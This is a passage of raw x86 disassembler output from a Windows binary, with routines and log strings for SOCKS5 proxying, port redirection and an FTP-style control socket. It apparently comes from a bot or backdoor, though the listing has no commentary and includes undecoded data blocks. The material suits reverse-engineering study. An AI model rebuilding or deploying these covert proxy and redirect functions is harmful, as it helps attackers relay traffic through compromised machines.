[esp+44h+var_2C], ecx push edx mov [esp+48h+var_28], ecx mov word ptr [esp+48h+var_2C], 2 mov [esp+48h+var_24], ecx mov [esp+48h+var_20], ecx nop call near ptr 71AB2B66h mov ecx, [esi+9Dh] mov word ptr [esp+44h+var_2C+2], ax lea eax, [esp+44h+var_2C] push 10h push eax push ecx mov [esp+50h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42B96B mov edx, [esi+9Dh] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42B96B: ; CODE XREF: sub_42B880+C9j mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz loc_42BA64 loc_42B97F: ; CODE XREF: sub_42B880+1DEj mov ecx, [esi+9Dh] push 0Ah push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz loc_42BA45 mov ecx, [esi+9Dh] lea edx, [esp+44h+var_34] lea eax, [esp+44h+var_1C] push edx push eax push ecx call near ptr 71AC1028h nop mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42BA45 xor edi, edi cmp ebp, edi jz loc_42BA45 push 0A9h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42B9E5 mov ecx, eax call sub_401663 mov edi, eax loc_42B9E5: ; CODE XREF: sub_42B880+15Aj mov edx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], edx mov eax, [esi+3Bh] mov [edi+3Bh], eax mov ecx, [esi+3Fh] mov [edi+3Fh], ecx push ebx lea ecx, [edi+43h] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401FBE lea eax, [esi+26h] lea ecx, [edi+26h] push eax mov [edi+0A1h], ebp call sub_401FBE mov dl, [esi+97h] mov ecx, edi mov [edi+97h], dl mov al, [esi+98h] mov [edi+98h], al call sub_4013D4 loc_42BA45: ; CODE XREF: sub_42B880+111j ; sub_42B880+133j ... push 0FAh nop call near ptr 29B0000h mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz loc_42B97F loc_42BA64: ; CODE XREF: sub_42B880+F9j mov eax, [esi+9Dh] cmp eax, 0FFFFFFFFh jz short loc_42BA76 push eax nop call near ptr 71AB9639h loc_42BA76: ; CODE XREF: sub_42B880+1EDj mov edx, [esi+3Fh] mov ecx, ebx push edx call sub_4017E4 push eax mov eax, [esi+3Bh] push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 24h loc_42BAB8: ; CODE XREF: sub_42B880+7Cj mov ecx, [esp+44h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 34h retn sub_42B880 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42BB70 proc near ; CODE XREF: sub_4021DFj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42BB70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 3 push 14h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 mov esi, ecx push 5 lea eax, [esp+74h+var_3C] push 12h push eax mov dword ptr [esi+118h], 0 call sub_4019B5 add esp, 38h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_42BB70 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 12h push 7 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+38h] push 12h push edx call sub_4019B5 add esp, 38h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 14h push 14h push 8 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+3Ch] push 12h push ecx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea eax, [esp+40h] push 12h push eax call sub_4019B5 add esp, 40h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+8Eh] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 49h push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+44h] push 12h push edx call sub_4019B5 add esp, 44h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 push eax lea eax, [esi+0BCh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+54h] push 12h push ecx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017E4 add esi, 0EAh push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0A0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42BE60: ; CODE XREF: ___:loc_40202Cj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43BD84 push eax mov large fs:0, esp sub esp, 68h push ebx push ebp push esi mov esi, [esp+84h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4017E4 push eax mov ecx, edi call sub_4012EE or ebx, 0FFFFFFFFh test eax, eax jnz loc_42BFC7 push 0A1h call sub_4367FA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 0E850FFFDh dd 777F000Ch, 4C48390h, 48244C8Dh, 893B4789h, 80249Ch dd 3E80000h, 68FFFD53h, 443600h, 4C244C8Dh, 8B51026Ah dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h dd 4C8DFFFDh, 9C894824h, 8024h, 52CCE800h, 68FFFDh, 8D004436h dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h dd 30000h, 65E80000h, 50FFFD58h, 0FF92E890h, 0C483777Eh dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD528Ah dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h dd 97h, 94968Ah, 0CF8B0000h, 989788h, 0DE80000h db 54h, 0FDh, 0FFh ; --------------------------------------------------------------------------- loc_42BFC7: ; CODE XREF: ___:0042BE9Dj lea ecx, [ebp+32h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C0F7 push 9Dh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 4 jz short loc_42C00E mov ecx, eax call sub_401889 mov edi, eax jmp short loc_42C010 ; --------------------------------------------------------------------------- loc_42C00E: ; CODE XREF: ___:0042C001j xor edi, edi loc_42C010: ; CODE XREF: ___:0042C00Cj push offset asc_443600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE push eax lea ecx, [edi+58h] mov dword ptr [esp+84h], 5 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016AE push eax lea ecx, [edi+6Dh] mov dword ptr [esp+84h], 6 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+4Ch] push 3 push edx mov ecx, esi call sub_4016AE push eax lea ecx, [edi+82h] mov dword ptr [esp+84h], 7 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013D4 loc_42C0F7: ; CODE XREF: ___:0042BFDAj lea ecx, [ebp+60h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C220 push 0A2h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 8 jz short loc_42C13E mov ecx, eax call sub_4018DE mov edi, eax jmp short loc_42C140 ; --------------------------------------------------------------------------- loc_42C13E: ; CODE XREF: ___:0042C131j xor edi, edi loc_42C140: ; CODE XREF: ___:0042C13Cj push offset asc_443600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE mov ecx, eax mov dword ptr [esp+80h], 9 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016AE push offset aTrue ; "true" mov ecx, eax mov dword ptr [esp+84h], 0Ah call sub_401500 test eax, eax lea ecx, [esp+48h] mov [esp+80h], ebx setz byte ptr [esp+88h] call sub_401226 mov al, [esp+88h] test al, al jz short loc_42C1EE mov byte ptr [edi+9Dh], 1 jmp short loc_42C1F5 ; --------------------------------------------------------------------------- loc_42C1EE: ; CODE XREF: ___:0042C1E3j mov byte ptr [edi+9Dh], 0 loc_42C1F5: ; CODE XREF: ___:0042C1ECj lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_401FBE mov al, [esi+93h] mov [edi+97h], al mov cl, [esi+94h] mov [edi+98h], cl mov ecx, edi call sub_4013D4 loc_42C220: ; CODE XREF: ___:0042C10Aj lea ecx, [ebp+8Eh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C2ED push 0A1h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 0Bh jz short loc_42C26A mov ecx, eax call sub_40216C mov edi, eax jmp short loc_42C26C ; --------------------------------------------------------------------------- loc_42C26A: ; CODE XREF: ___:0042C25Dj xor edi, edi loc_42C26C: ; CODE XREF: ___:0042C268j push offset asc_443600 ; " " lea edx, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push edx mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE mov ecx, eax mov dword ptr [esp+80h], 0Ch call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013D4 loc_42C2ED: ; CODE XREF: ___:0042C236j lea ecx, [ebp+0BCh] call sub_4014D3 lea edi, [esi+7Eh] push eax mov ecx, edi mov [esp+8Ch], edi call sub_4012EE test eax, eax jnz loc_42C519 lea ecx, [esp+30h] call sub_401424 lea ecx, [esp+18h] mov dword ptr [esp+80h], 0Dh call sub_401424 push offset asc_443600 ; " " lea eax, [esp+4Ch] push 2 push eax mov ecx, esi mov byte ptr [esp+8Ch], 0Eh call sub_4016AE mov ecx, eax mov byte ptr [esp+80h], 0Fh call sub_4017E4 push eax lea ecx, [esp+34h] call sub_401A87 lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 3 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+80h], 10h call sub_4017E4 push eax lea ecx, [esp+1Ch] call sub_401A87 lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+30h] call sub_4014D3 cmp eax, offset byte_446F60 jnz short loc_42C3CF push offset aRoot ; "root" lea ecx, [esp+1Ch] call sub_401A87 loc_42C3CF: ; CODE XREF: ___:0042C3BFj lea ecx, [esp+18h] call sub_4014D3 cmp eax, offset byte_446F60 jnz short loc_42C3ED push offset byte_446F60 lea ecx, [esp+1Ch] call sub_401A87 loc_42C3ED: ; CODE XREF: ___:0042C3DDj push offset asc_443600 ; " " lea edx, [esp+4Ch] push 1 push edx mov ecx, esi call sub_4016AE mov edi, eax lea ecx, [esp+18h] mov byte ptr [esp+80h], 11h call sub_4017E4 push eax lea ecx, [esp+34h] call sub_4017E4 push eax mov ecx, edi call sub_4017E4 mov edi, dword_50FB08 push eax call edi ; atoi add esp, 4 lea ecx, [esi+69h] push eax push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "... call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 20h lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+28h], esp push eax call sub_401861 lea ecx, [esp+48h] mov byte ptr [esp+98h], 12h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+44h], esp push eax call sub_401861 push offset asc_443600 ; " " lea edx, [esp+94h] push 1 push edx mov ecx, esi mov byte ptr [esp+0BCh], 13h call sub_4016AE mov ecx, eax mov byte ptr [esp+0B0h], 15h call sub_4017E4 push eax call edi ; atoi add esp, 4 push eax call sub_401C17 add esp, 34h lea ecx, [esp+60h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] mov byte ptr [esp+80h], 0Dh call sub_401226 lea ecx, [esp+30h] mov [esp+80h], ebx call sub_401226 mov edi, [esp+88h] loc_42C519: ; CODE XREF: ___:0042C30Cj lea ecx, [ebp+0EAh] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42C536 mov [ebp+11Ch], al loc_42C536: ; CODE XREF: ___:0042C52Ej mov ecx, [esp+78h] pop edi pop esi pop ebp mov al, 1 mov large fs:0, ecx pop ebx add esp, 74h retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 1C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C710 proc near ; CODE XREF: sub_4021A8j var_4 = dword ptr -4 push ecx mov edx, dword_447A7D push esi mov esi, ecx mov eax, [esi+99h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_42C731 inc ecx mov [eax+118h], ecx loc_42C731: ; CODE XREF: sub_42C710+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+99h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E6ECB call sub_40120D sub_42C710 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C790 proc near ; CODE XREF: sub_401E06j var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call sub_436F4E sub_42C790 endp ; --------------------------------------------------------------------------- db 85h, 0C0h, 74h dd 840D8B19h, 500050FAh, 6840C183h, 445404h, 54E89051h dd 83778146h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42C7E0: ; CODE XREF: ___:00401D7Aj mov eax, [esp+4] test eax, eax jz short loc_42C7F3 mov ecx, [eax+18h] test ecx, ecx jnz short loc_42C7F3 add eax, 44h retn ; --------------------------------------------------------------------------- loc_42C7F3: ; CODE XREF: ___:0042C7E6j ; ___:0042C7EDj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C810 proc near ; CODE XREF: sub_401A69j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_12 = word ptr 16h sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 nop call near ptr 77C46125h mov ebp, eax push 3Ah push ebp call near ptr 77C47660h nop mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_42C884 push offset aTcp ; "tcp" push offset aFtp ; "ftp" call sub_436F96 ; --------------------------------------------------------------------------- dd 6C75C33Bh, 44545868h, 7BE89000h, 837780A5h, 0C03304C4h dd 5B5D5E5Fh, 0C314C483h ; --------------------------------------------------------------------------- loc_42C884: ; CODE XREF: sub_42C810+47j mov [esi], bl mov eax, dword_50FB14 inc esi cmp dword ptr [eax], 1 jle short loc_42C8A2 movsx ecx, byte ptr [esi] push 4 push ecx nop call near ptr 77C1C561h add esp, 8 jmp short loc_42C8B2 ; --------------------------------------------------------------------------- loc_42C8A2: ; CODE XREF: sub_42C810+7Fj mov eax, dword_50FA78 movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_42C8B2: ; CODE XREF: sub_42C810+90j cmp eax, ebx jz short loc_42C8CD push esi call near ptr 77C1BF18h nop add esp, 4 push eax call sub_436F36 ; --------------------------------------------------------------------------- mov [esp+arg_12], ax jmp short sub_42C8E1 ; --------------------------------------------------------------------------- loc_42C8CD: ; CODE XREF: sub_42C810+A4j push offset aTcp ; "tcp" push esi call sub_436F96 sub_42C810 endp ; --------------------------------------------------------------------------- mov dx, [eax+8] mov [esp+16h], dx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C8E1 proc near ; CODE XREF: sub_42C810+BBj push ebp call sub_436EF4 sub_42C8E1 endp ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh mov [esp+18h], eax jnz short loc_42C92D push ebp call sub_436EE8 ; --------------------------------------------------------------------------- dw 0C33Bh dd 48681875h, 90004454h, 80A4EDE8h, 4C48377h, 5E5FC033h dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch dd 2E9C130h, 0CA8BA5F3h, 0F303E183h ; --------------------------------------------------------------------------- movsb loc_42C92D: ; CODE XREF: ___:0042C8EEj push ebp mov ebp, dword_50FAC4 call ebp ; free add esp, 4 push 6 push 1 push 2 call sub_436F3C ; --------------------------------------------------------------------------- dd 0FF83F88Bh, 681875FFh, 445440h, 0A49CE890h, 0C4837780h dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h dd 0FFFF68h, 0DE85700h, 830000A6h, 775FFF8h, 44543068h dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h dd 52306807h, 1BEB0044h, 14468h, 90016A00h, 7FF71AE8h dd 83F08B77h, 0F33B08C4h, 28681E75h, 90004454h, 80A435E8h dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h dd 200068h, 0FA2DE800h, 8390777Fh, 0C33B04C4h, 75144689h dd 54286824h, 0E8900044h, 7780A402h, 5704C483h, 0A50DE8h dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42CB10 proc near ; CODE XREF: ___:0042D266p ; sub_42DFD0+70p var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_42CC50 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42CB4A loc_42CB32: ; CODE XREF: sub_42CB10+8Ej ; sub_42CB10+D9j push offset aControlSocketR ; "Control socket read failed" nop call near ptr 77C36DF2h add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CB4A: ; CODE XREF: sub_42CB10+20j mov eax, dword_50E3CC mov ebx, dword_50FA80 cmp eax, 1 jle short loc_42CB6E mov eax, dword_50FA84 push esi add eax, 40h push offset aS ; "%s" push eax call ebx ; fprintf add esp, 0Ch loc_42CB6E: ; CODE XREF: sub_42CB10+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_42CBEE push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx nop call near ptr 77C47A90h push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_42CC50 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_42CB32 mov ebp, dword_50FAD4 loc_42CBA6: ; CODE XREF: sub_42CB10+D7j cmp dword_50E3CC, 1 jle short loc_42CBC4 mov edx, dword_50FA84 push esi add edx, 40h push offset aS ; "%s" push edx call ebx ; fprintf add esp, 0Ch loc_42CBC4: ; CODE XREF: sub_42CB10+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp ; strncmp add esp, 0Ch test eax, eax jz short loc_42CBEE push edi push 100h push esi call sub_42CC50 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42CBA6 jmp loc_42CB32 ; --------------------------------------------------------------------------- loc_42CBEE: ; CODE XREF: sub_42CB10+62j ; sub_42CB10+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_42CB10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CC50 proc near ; CODE XREF: sub_42CB10+15p ; sub_42CB10+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_42CC80 cmp eax, 1 jz short loc_42CC80 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CC80: ; CODE XREF: sub_42CC50+1Ej ; sub_42CC50+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_42CC92 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CC92: ; CODE XREF: sub_42CC50+36j ; sub_42CC50+115j mov edi, [esi+0Ch] test edi, edi jle short loc_42CCE3 cmp ebx, edi jge short loc_42CCA0 lea edi, [ebx-1] loc_42CCA0: ; CODE XREF: sub_42CC50+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp nop call near ptr 77C46170h add esp, 10h test eax, eax jz short loc_42CCB9 mov edi, eax sub edi, ebp loc_42CCB9: ; CODE XREF: sub_42CC50+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_42CD6A loc_42CCE3: ; CODE XREF: sub_42CC50+47j cmp ebx, 1 jz loc_42CDBD mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_42CD0B mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_42CD0B: ; CODE XREF: sub_42CC50+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_42CDD0 push esi call sub_42CE80 add esp, 4 test eax, eax jz loc_42CE02 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_436EFA ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz loc_42CDEC test eax, eax jnz short loc_42CD4F mov [esp+18h+var_4], 1 loc_42CD4F: ; CODE XREF: sub_42CC50+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_42CC92 ; --------------------------------------------------------------------------- loc_42CD6A: ; CODE XREF: sub_42CC50+8Dj sub ebp, 2 mov esi, offset asc_445220 ; "\r\n" mov eax, ebp loc_42CD74: ; CODE XREF: sub_42CC50+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42CD9C test cl, cl jz short loc_42CD98 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42CD9C add eax, 2 add esi, 2 test cl, cl jnz short loc_42CD74 loc_42CD98: ; CODE XREF: sub_42CC50+130j xor eax, eax jmp short loc_42CDA1 ; --------------------------------------------------------------------------- loc_42CD9C: ; CODE XREF: sub_42CC50+12Cj ; sub_42CC50+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42CDA1: ; CODE XREF: sub_42CC50+14Aj test eax, eax jnz short loc_42CE02 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDBD: ; CODE XREF: sub_42CC50+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDD0: ; CODE XREF: sub_42CC50+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_42CE02 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDEC: ; CODE XREF: sub_42CC50+EDj push offset aRead ; "read" nop call near ptr 77C36DF2h add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_42CE02: ; CODE XREF: sub_42CC50+D2j ; sub_42CC50+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_42CC50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CE80 proc near ; CODE XREF: sub_42CC50+C8p ; sub_42DC70:loc_42DC9Dp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_42CF63 mov ecx, [esi+30h] test ecx, ecx jz loc_42CF63 cmp eax, 2 jnz short loc_42CEB5 lea ebp, [esp+118h+var_104] jmp short loc_42CEB9 ; --------------------------------------------------------------------------- loc_42CEB5: ; CODE XREF: sub_42CE80+2Dj lea ebx, [esp+118h+var_104] loc_42CEB9: ; CODE XREF: sub_42CE80+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_42CEC0: ; CODE XREF: sub_42CE80+98j cmp eax, 40h jnb short loc_42CED5 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_42CED5: ; CODE XREF: sub_42CE80+43j mov edx, [esi+28h] mov eax, [esi+2Ch] lea ecx, 